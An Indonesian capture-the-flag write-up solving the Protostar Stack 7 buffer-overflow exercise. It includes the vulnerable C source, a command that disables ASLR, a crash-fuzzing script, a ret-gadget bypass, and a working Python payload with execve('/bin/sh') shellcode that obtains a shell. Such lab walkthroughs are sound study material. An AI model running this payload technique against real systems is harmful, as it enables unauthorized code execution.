Protostar Stack 7

Alat dan Bahan

  • Binary: stack7
  • Sistem operasi: Debian 9 dengan arsitektur 64 bit.

Mengatur Lingkungan Pekerjaan

  1. Binary

Ambil binary dari VM Protostar.

$ scp [email protected]:/opt/protostar/bin/stack7 $PWD
  1. Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}
  1. Mematikan ASLR

Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Identifikasi Kelemahan

$ checksec stack7
[*] '/../stack7'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

$ ./stack7
input path please: 1
got path 1

Program menerima input dari stdin kemudian diproses melalui fungsi gets yang vulnerable. Tujuan akhirnya adalah mendapatkan akses shell.

fsi.sh

#!/bin/bash

buffer=""
for i in {1..2048}
do
  echo $i
  buffer+="A"
  echo $buffer > /tmp/delete.me
  ./$1 < /tmp/delete.me
  if [ $? -eq 139 ]; then
    echo "SEGMENTATION FAULT on $i BUFFER"
    break
  fi
done

Eksploitasi

$ ./fsi.sh stack7
...
SEGMENTATION FAULT on 76 BUFFER

Ada proteksi canary sederhanan, sehingga shellcode tidak bisa dieksekusi dengan gadget 0xb0000000. Agar shellcode bisa diekseksui maka gunakan teknik Return Oriented Programming (ROP).

ROP biasanya menggunakan gadget agar bisa pindah ke stack yang diinginkan. Untuk mendapatkan gadget bisa menggunakan GDB PEDA.

$ ROPgadget --binary stack7 | grep ret
0x08048362 : ret

Ada gadget ret yang bisa digunakan untuk pindah alamat selanjutnya pada stack. Gadget tersebut bisa digunakan dengan desain payload ini, JUNK Buffer + GADGET Addr + SHELLCODE Addr + SHELLCODE Buffer.

Alamat gadget ret ada pada 0x08048362, selanjutnya gunakan offset sebesar 80 byte sebelum register IP untuk mencari alamat stack yang diawali dengan 0xb0.

$ python -c "print 'A'*80 + '\x62\x83\x04\x08' + 'AAAA' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/p

Luaran GDB pada Protostar.

r < /tmp/p
Starting program: /opt/protostar/bin/stack7 < /tmp/p
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAb�AAAAAAAAAAAAb�AAAA1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/1x $esp
0xbffffca4:    0xdb31c031

Alamat yang diinginkan sudah ditemukan pada 0xbffffca4, sekarang tinggal ditambahkan ke payload.

$ python -c "print 'A'*80 + '\x62\x83\x04\x08' + '\xa4\xfc\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/q

Luaran GDB pada Protostar.

(gdb) r < /tmp/q
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/stack7 < /tmp/q
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAb�AAAAAAAAAAAAb�����1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ

Executing new program: /bin/dash

Akses shell /bin/dash berhasil didapatkan.

Referensi

results matching ""

    No results matching ""